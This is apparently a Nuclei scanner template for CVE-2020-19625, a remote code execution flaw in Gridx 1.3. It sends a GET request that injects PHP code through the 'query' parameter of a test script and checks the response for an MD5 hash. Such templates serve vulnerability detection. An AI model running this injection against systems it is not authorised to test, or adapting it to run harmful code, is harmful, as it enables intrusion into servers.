id: CVE-2020-19625

info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.
  reference:
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
    epss-score: 0.85733
    epss-percentile: 0.99389
    cpe: cpe:2.3:a:gridx_project:gridx:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gridx_project
    product: gridx
  tags: cve2020,cve,gridx,rce,gridx_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "6ca86c2c17047c14437f55c42c801c10"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220770e493db0d98ecb33b1e329e02985ac1a1f1ce5aea5365a92165c1a51255fc6022100e0858acb21c97da5a43e620fdb5a5e25958b9d676a19b16dda42226cb76badb2:922c64590222798bb761d5b6d8e72950